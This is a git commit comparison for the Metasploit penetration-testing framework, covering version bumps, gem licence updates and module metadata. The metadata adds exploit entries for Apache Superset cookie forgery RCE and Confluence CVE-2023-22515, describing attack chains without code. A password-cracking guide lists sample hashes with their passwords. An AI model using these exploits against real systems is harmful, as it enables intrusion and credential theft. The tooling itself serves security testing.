Compare commits
67 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 7baabd08db | |||
| b4b73529d3 | |||
| dba2ac88f0 | |||
| da9d04d32d | |||
| c63aaba760 | |||
| 5e84f57ab3 | |||
| fcffd36af0 | |||
| 9fdbccb74f | |||
| 34107e4f3b | |||
| 0fc35bf6d3 | |||
| 415bd49b15 | |||
| 54f334479a | |||
| 9e6e9538e1 | |||
| d2438bad4e | |||
| 4acdaf3087 | |||
| d17f065f12 | |||
| 3242a7009b | |||
| b97cb9f63d | |||
| 1c027ac05c | |||
| ec5648f6c5 | |||
| 4ff3c0f102 | |||
| 2464c43151 | |||
| 718cdd9a6b | |||
| d2607c7a77 | |||
| 5d6b63c8ef | |||
| 941c44f9ad | |||
| bb19151891 | |||
| 44e5a93add | |||
| e1a307e03a | |||
| 9def455f65 | |||
| a1b3c8dc5f | |||
| 5f6b8dc7ef | |||
| 03433652e8 | |||
| b81252e34f | |||
| 2163c51a2e | |||
| 05dd2e1473 | |||
| 82a1dfa9ff | |||
| 820f806a5e | |||
| 77694db215 | |||
| 6c035dada0 | |||
| fb77febe3e | |||
| 075fe09c2f | |||
| 862a7930dc | |||
| 45be501a50 | |||
| 47b0c01d58 | |||
| 59da2865d9 | |||
| 0c407945a0 | |||
| 723557365a | |||
| 0875cc8f73 | |||
| 1bd7d25088 | |||
| 126c19890a | |||
| 77c299d44b | |||
| e34ed10eca | |||
| a8da47e73c | |||
| 0c418fdf65 | |||
| 619a46d450 | |||
| 686d704b37 | |||
| 87582ee5c9 | |||
| 375a91e4f7 | |||
| bd9591f621 | |||
| df4a5b9d69 | |||
| 4aea945be3 | |||
| 02608a4e12 | |||
| dc97b33f4a | |||
| 28a2bcf9d7 | |||
| 60113f74b7 | |||
| cae7f8c350 |
@@ -67,7 +67,7 @@ jobs:
|
||||
- '3.0'
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
- '3.3.0-preview1'
|
||||
- '3.3.0-preview2'
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.38)
|
||||
metasploit-framework (6.3.39)
|
||||
actionpack (~> 7.0.0)
|
||||
activerecord (~> 7.0.0)
|
||||
activesupport (~> 7.0.0)
|
||||
|
||||
+81
-79
@@ -1,27 +1,28 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 7.0.5, MIT
|
||||
actionview, 7.0.5, MIT
|
||||
activemodel, 7.0.5, MIT
|
||||
activerecord, 7.0.5, MIT
|
||||
activesupport, 7.0.5, MIT
|
||||
addressable, 2.8.4, "Apache 2.0"
|
||||
actionpack, 7.0.8, MIT
|
||||
actionview, 7.0.8, MIT
|
||||
activemodel, 7.0.8, MIT
|
||||
activerecord, 7.0.8, MIT
|
||||
activesupport, 7.0.8, MIT
|
||||
addressable, 2.8.5, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
allure-rspec, 2.22.0, "Apache 2.0"
|
||||
allure-ruby-commons, 2.22.0, "Apache 2.0"
|
||||
allure-rspec, 2.23.0, "Apache 2.0"
|
||||
allure-ruby-commons, 2.23.0, "Apache 2.0"
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.776.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.174.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.382.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.27.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.79.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.66.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.123.1, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.151.0, "Apache 2.0"
|
||||
aws-sigv4, 1.5.2, "Apache 2.0"
|
||||
bcrypt, 3.1.18, MIT
|
||||
aws-partitions, 1.834.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.185.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.411.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.34.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.87.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.72.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.136.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.158.0, "Apache 2.0"
|
||||
aws-sigv4, 1.6.0, "Apache 2.0"
|
||||
base64, 0.1.1, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.19, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.16.0, MIT
|
||||
@@ -48,12 +49,12 @@ erubi, 1.12.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 3.2.0, MIT
|
||||
faraday, 2.7.6, MIT
|
||||
faker, 3.2.1, MIT
|
||||
faraday, 2.7.11, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.2.0, MIT
|
||||
faye-websocket, 0.11.2, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
faye-websocket, 0.11.3, "Apache 2.0"
|
||||
ffi, 1.16.3, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
gssapi, 1.3.1, MIT
|
||||
@@ -66,38 +67,39 @@ http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.14.1, MIT
|
||||
io-console, 0.6.0, "ruby, Simplified BSD"
|
||||
irb, 1.7.0, "ruby, Simplified BSD"
|
||||
irb, 1.7.4, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.3, ruby
|
||||
language_server-protocol, 3.17.0.3, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.21.3, MIT
|
||||
macaddr, 1.7.2, ruby
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.1, "New BSD"
|
||||
metasploit-credential, 6.0.5, "New BSD"
|
||||
metasploit-framework, 6.3.38, "New BSD"
|
||||
metasploit-model, 5.0.1, "New BSD"
|
||||
metasploit-concern, 5.0.2, "New BSD"
|
||||
metasploit-credential, 6.0.6, "New BSD"
|
||||
metasploit-framework, 6.3.39, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.156, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.2, "New BSD"
|
||||
metasploit_data_models, 6.0.3, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mime-types, 3.4.1, MIT
|
||||
mime-types-data, 3.2023.0218.1, MIT
|
||||
mini_portile2, 2.8.2, MIT
|
||||
minitest, 5.18.0, MIT
|
||||
mime-types, 3.5.1, MIT
|
||||
mime-types-data, 3.2023.1003, MIT
|
||||
mini_portile2, 2.8.4, MIT
|
||||
minitest, 5.20.0, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-imap, 0.3.7, "ruby, Simplified BSD"
|
||||
net-imap, 0.4.0, "ruby, Simplified BSD"
|
||||
net-ldap, 0.18.0, MIT
|
||||
net-protocol, 0.2.1, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.3, "ruby, Simplified BSD"
|
||||
net-ssh, 7.1.0, MIT
|
||||
net-smtp, 0.4.0, "ruby, Simplified BSD"
|
||||
net-ssh, 7.2.0, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.9, MIT
|
||||
@@ -109,62 +111,62 @@ openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.23.0, MIT
|
||||
parser, 3.2.2.3, MIT
|
||||
parser, 3.2.2.4, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.5.3, "Simplified BSD"
|
||||
pg, 1.5.4, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 5.0.1, MIT
|
||||
puma, 6.3.0, "New BSD"
|
||||
racc, 1.7.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.7, MIT
|
||||
rack-protection, 3.0.6, MIT
|
||||
public_suffix, 5.0.3, MIT
|
||||
puma, 6.4.0, "New BSD"
|
||||
racc, 1.7.1, "ruby, Simplified BSD"
|
||||
rack, 2.2.8, MIT
|
||||
rack-protection, 3.1.0, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-dom-testing, 2.2.0, MIT
|
||||
rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.5, MIT
|
||||
railties, 7.0.8, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rasn1, 0.12.1, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.1.1, unknown
|
||||
recog, 3.1.2, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.8.0, MIT
|
||||
reline, 0.3.5, ruby
|
||||
regexp_parser, 2.8.1, MIT
|
||||
reline, 0.3.8, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-arch, 0.1.15, "New BSD"
|
||||
rex-bin_tools, 0.1.9, "New BSD"
|
||||
rex-core, 0.1.31, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.38, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.7, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
rex-ole, 0.1.7, "New BSD"
|
||||
rex-powershell, 0.1.97, "New BSD"
|
||||
rex-random_identifier, 0.1.10, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-encoder, 0.1.7, "New BSD"
|
||||
rex-exploitation, 0.1.39, "New BSD"
|
||||
rex-java, 0.1.7, "New BSD"
|
||||
rex-mime, 0.1.8, "New BSD"
|
||||
rex-nop, 0.1.3, "New BSD"
|
||||
rex-ole, 0.1.8, "New BSD"
|
||||
rex-powershell, 0.1.99, "New BSD"
|
||||
rex-random_identifier, 0.1.11, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.54, "New BSD"
|
||||
rex-sslscan, 0.1.9, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.52, "New BSD"
|
||||
rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.53, "New BSD"
|
||||
rex-zip, 0.1.5, "New BSD"
|
||||
rexml, 3.2.6, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.2, MIT
|
||||
rspec-expectations, 3.12.3, MIT
|
||||
rspec-mocks, 3.12.5, MIT
|
||||
rspec-mocks, 3.12.6, MIT
|
||||
rspec-rails, 6.0.3, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.12.0, MIT
|
||||
rubocop, 1.52.0, MIT
|
||||
rspec-support, 3.12.1, MIT
|
||||
rubocop, 1.56.4, MIT
|
||||
rubocop-ast, 1.29.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-mysql, 4.0.0, MIT
|
||||
ruby-macho, 4.0.0, MIT
|
||||
ruby-mysql, 4.1.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
@@ -176,34 +178,34 @@ sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 3.0.6, MIT
|
||||
sqlite3, 1.6.3, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
sinatra, 3.1.0, MIT
|
||||
sqlite3, 1.6.6, "New BSD"
|
||||
sshkey, 3.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
systemu, 2.6.5, ruby
|
||||
test-prof, 1.2.2, MIT
|
||||
test-prof, 1.2.3, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.2.2, MIT
|
||||
tilt, 2.2.0, MIT
|
||||
timecop, 0.9.6, MIT
|
||||
tilt, 2.3.0, MIT
|
||||
timecop, 0.9.8, MIT
|
||||
timeout, 0.4.0, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2023.3, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.4.2, MIT
|
||||
unicode-display_width, 2.5.0, MIT
|
||||
unix-crypt, 1.3.1, 0BSD
|
||||
uuid, 2.3.9, MIT
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.8.1, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.5, "Apache 2.0"
|
||||
websocket-driver, 0.7.6, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
win32api, 0.1.0, unknown
|
||||
windows_error, 0.1.5, BSD
|
||||
winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.2, "ruby, Simplified BSD"
|
||||
xmlrpc, 0.3.3, "ruby, Simplified BSD"
|
||||
yard, 0.9.34, MIT
|
||||
zeitwerk, 2.6.8, MIT
|
||||
zeitwerk, 2.6.12, MIT
|
||||
|
||||
@@ -10307,7 +10307,7 @@
|
||||
"author": [
|
||||
"h00die"
|
||||
],
|
||||
"description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from various web applications.\n Atlassian uses PBKDF2-HMAC-SHA1 which is 12001 in hashcat.\n PHPass uses phpass which is 400 in hashcat.\n Mediawiki is MD5 based and is 3711 in hashcat.",
|
||||
"description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from various web applications.\n Atlassian uses PBKDF2-HMAC-SHA1 which is 12001 in hashcat.\n PHPass uses phpass which is 400 in hashcat.\n Mediawiki is MD5 based and is 3711 in hashcat.\n Apache Superset, some Flask and Werkzeug apps is pbkdf2-sha256 and is 10900 in hashcat",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -10321,7 +10321,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-27 13:50:39 +0000",
|
||||
"mod_time": "2023-09-14 13:21:01 +0000",
|
||||
"path": "/modules/auxiliary/analyze/crack_webapps.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "analyze/crack_webapps",
|
||||
@@ -17559,7 +17559,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-09-12 15:52:58 +0000",
|
||||
"mod_time": "2023-09-14 13:21:01 +0000",
|
||||
"path": "/modules/auxiliary/gather/apache_superset_cookie_sig_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/apache_superset_cookie_sig_priv_esc",
|
||||
@@ -17575,6 +17575,9 @@
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"RelatedModules": [
|
||||
"exploit/linux/http/apache_superset_cookie_sig_rce"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
@@ -42551,7 +42554,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-08-17 19:07:28 +0000",
|
||||
"mod_time": "2023-10-12 17:39:47 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mysql/mysql_authbypass_hashdump",
|
||||
@@ -61222,6 +61225,78 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/apache_superset_cookie_sig_rce": {
|
||||
"name": "Apache Superset Signed Cookie RCE",
|
||||
"fullname": "exploit/linux/http/apache_superset_cookie_sig_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 400,
|
||||
"disclosure_date": "2023-09-06",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die",
|
||||
"paradoxis",
|
||||
"Spencer McIntyre",
|
||||
"Naveen Sunkavally"
|
||||
],
|
||||
"description": "Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.\n These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that\n of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the\n Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be\n set for that dashboard within Superset's database which will trigger the RCE.\n\n An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.",
|
||||
"references": [
|
||||
"URL-https://github.com/Paradoxis/Flask-Unsign",
|
||||
"URL-https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/",
|
||||
"URL-https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/",
|
||||
"URL-https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/",
|
||||
"URL-https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py",
|
||||
"EDB-51447",
|
||||
"CVE-2023-27524",
|
||||
"CVE-2023-37941",
|
||||
"CVE-2023-39265"
|
||||
],
|
||||
"platform": "Python",
|
||||
"arch": "python",
|
||||
"rport": 8088,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic Target"
|
||||
],
|
||||
"mod_time": "2023-10-10 15:21:35 +0000",
|
||||
"path": "/modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/apache_superset_cookie_sig_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"config-changes"
|
||||
],
|
||||
"RelatedModules": [
|
||||
"auxiliary/gather/apache_superset_cookie_sig_priv_esc"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection": {
|
||||
"name": "Artica proxy 4.30.000000 Auth Bypass service-cmds-peform Command Injection",
|
||||
"fullname": "exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection",
|
||||
@@ -89126,6 +89201,66 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/atlassian_confluence_rce_cve_2023_22515": {
|
||||
"name": "Atlassian Confluence Unauthenticated Remote Code Execution",
|
||||
"fullname": "exploit/multi/http/atlassian_confluence_rce_cve_2023_22515",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2023-10-04",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"sfewer-r7"
|
||||
],
|
||||
"description": "This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP\n parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for\n Java objects to be modified at run time. The exploit will create a new administrator user and upload a\n malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,\n 8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.",
|
||||
"references": [
|
||||
"CVE-2023-22515",
|
||||
"URL-https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis",
|
||||
"URL-https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 8090,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2023-10-18 09:53:46 +0000",
|
||||
"path": "/modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/atlassian_confluence_rce_cve_2023_22515",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/atlassian_confluence_webwork_ognl_injection": {
|
||||
"name": "Atlassian Confluence WebWork OGNL Injection",
|
||||
"fullname": "exploit/multi/http/atlassian_confluence_webwork_ognl_injection",
|
||||
@@ -247590,7 +247725,7 @@
|
||||
"author": [
|
||||
"Joshua Abraham <jabra@rapid7.com>"
|
||||
],
|
||||
"description": "This module will enumerate computers included in the primary Domain.",
|
||||
"description": "This module will enumerate computers included in the primary Active Directory domain.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -247600,7 +247735,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2023-02-08 13:47:34 +0000",
|
||||
"mod_time": "2023-10-12 10:59:29 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_computers.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_computers",
|
||||
@@ -247608,9 +247743,20 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
"meterpreter",
|
||||
"powershell",
|
||||
"shell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
|
||||
@@ -84,6 +84,7 @@ This section will cover the differences between the two crackers. This is not a
|
||||
| md5 (raw, unicode) | Raw-MD5u | 30 (with an empty salt) |
|
||||
| NetNTLMv1 | netntlm | 5500 |
|
||||
| NetNTLMv2 | netntlmv2 | 5600 |
|
||||
| pbkdf2-sha256 | PBKDF2-HMAC-SHA256 | 10900 |
|
||||
|
||||
While Metasploit standardizes with the JtR format, the hashcat [library](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb) includes the `jtr_format_to_hashcat_format` function to translate from jtr to hashcat.
|
||||
|
||||
@@ -154,42 +155,43 @@ creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
|
||||
## other
|
||||
creds add user:hmac_password hash:'<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9' jtr:hmac-md5
|
||||
creds add user:vmware_ldap hash:'$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6' jtr:dynamic_82
|
||||
creds add user:admin hash:'$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU' jtr:pbkdf2-sha256
|
||||
```
|
||||
|
||||
This data breaks down to the following table:
|
||||
|
||||
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
|
||||
| ------------------------------------ | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ---------------- | ------------------------------------------------ | --------------------------------------------------------- |
|
||||
| ----------- | ---------- | ------ | ---------- | ------------ | ------------------------------ | ------------------------- |
|
||||
| DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux |
|
||||
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/crack_linux |
|
||||
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/crack_linux |
|
||||
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/crack_linux |
|
||||
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/crack_linux |
|
||||
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/crack_linux |
|
||||
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/crack_windows |
|
||||
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/crack_windows |
|
||||
| NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows |
|
||||
| NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows |
|
||||
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
